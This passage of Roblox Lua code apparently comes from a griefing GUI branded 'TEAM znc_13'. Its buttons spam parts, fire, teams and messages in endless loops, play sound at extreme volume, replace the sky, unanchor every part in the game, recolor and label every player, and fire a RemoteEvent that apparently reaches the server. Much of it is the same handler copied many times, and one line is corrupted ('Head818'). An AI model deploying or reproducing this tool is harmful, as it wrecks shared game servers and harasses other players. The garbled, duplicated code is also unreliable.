end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head818
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
function click()
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game:GetService("Lighting")
s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927"
game:GetService("Lighting").TimeOfDay = 12
end
script.Parent.MouseButton1Down:connect(click)
---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB:
end;
task.spawn(C_1b);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1d()
local script = G2L["1d"];
function onClick()
local tubers93 = Instance.new("Sound")
tubers93.Parent = game:GetService("Workspace")
tubers93.SoundId = "rbxassetid://6129291390"
tubers93.Playing = true
tubers93.Looped = false
tubers93.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_1d);
-- StarterGui.ScreenGui.Frame.close.LocalScript
local function C_1f()
local script = G2L["1f"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Visible = false
end)
end;
task.spawn(C_1f);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_22()
local script = G2L["22"];
function click()
while true do
local team1 = Instance.new("Team", game.Teams)
team1.Name = "TEAM znc_13!"
team1.TeamColor = BrickColor.random()
game:service'Debris':AddItem(team1,0.3)
wait()
end
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_22);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_24()
local script = G2L["24"];
script.Parent.MouseButton1Click:Connect(function()
while true do
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
wait()
doom=Instance.new("Part")
local imnotfat = math.random(1, 3)
if imnotfat == 1 then
doom.Shape = "Ball"
else if imnotfat == 2 then
doom.Shape = "Cylinder"
else
end end
doom.Material = "Neon"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
yooka=math.random(-200, -50)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, yooka, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, 800, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
end
end)
end;
task.spawn(C_24);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_26()
local script = G2L["26"];
function click()
while wait(0.4) do
xd = Instance.new("Message",workspace)
xd.Text = "GET REKTED BY TEAM znc_13!"
wait(0.4)
xd:Remove()
end
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_26);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_29()
local script = G2L["29"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.RemoteEvent:FireServer()
end)
end;
task.spawn(C_29);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_2c()
local script = G2L["2c"];
script.Parent.MouseButton1Down:Connect(function()
for i,v in pairs(game:GetService("Players"):GetChildren()) do
if v:IsA("Player") then
local gui = Instance.new("BillboardGui",v.Character.Head)
gui.Adornee = v.Character.Head
gui.Size = UDim2.new(0,100,0,150)
gui.StudsOffset = Vector3.new(0,1,0)
local text = Instance.new("TextLabel",gui)
text.Text = "znc_13 TEAM IS HERE !"
text.Position = UDim2.new(0,0,0,-50)
text.Size = UDim2.new(0,100,0,100)
text.BackgroundTransparency = 0.1
text.TextScaled = true
end
end
end)
end;
task.spawn(C_2c);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_2e()
local script = G2L["2e"];
script.Parent.MouseButton1Down:Connect(function()
for i,v in pairs(game.Workspace:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
for i,v in pairs(game.ReplicatedStorage:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
for i,v in pairs(game.ReplicatedFirst:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
end)
end;
task.spawn(C_2e);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_30()
local script = G2L["30"];
function click()
for _,player in pairs(game.Players:GetPlayers()) do
spawn(function()
while wait(0.7) do
player.Character:FindFirstChildOfClass("BodyColors").HeadColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").TorsoColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").LeftLegColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").RightLegColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").LeftArmColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").RightArmColor = BrickColor.random()
end
end)
end
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_30);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_32()
local script = G2L["32"];
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
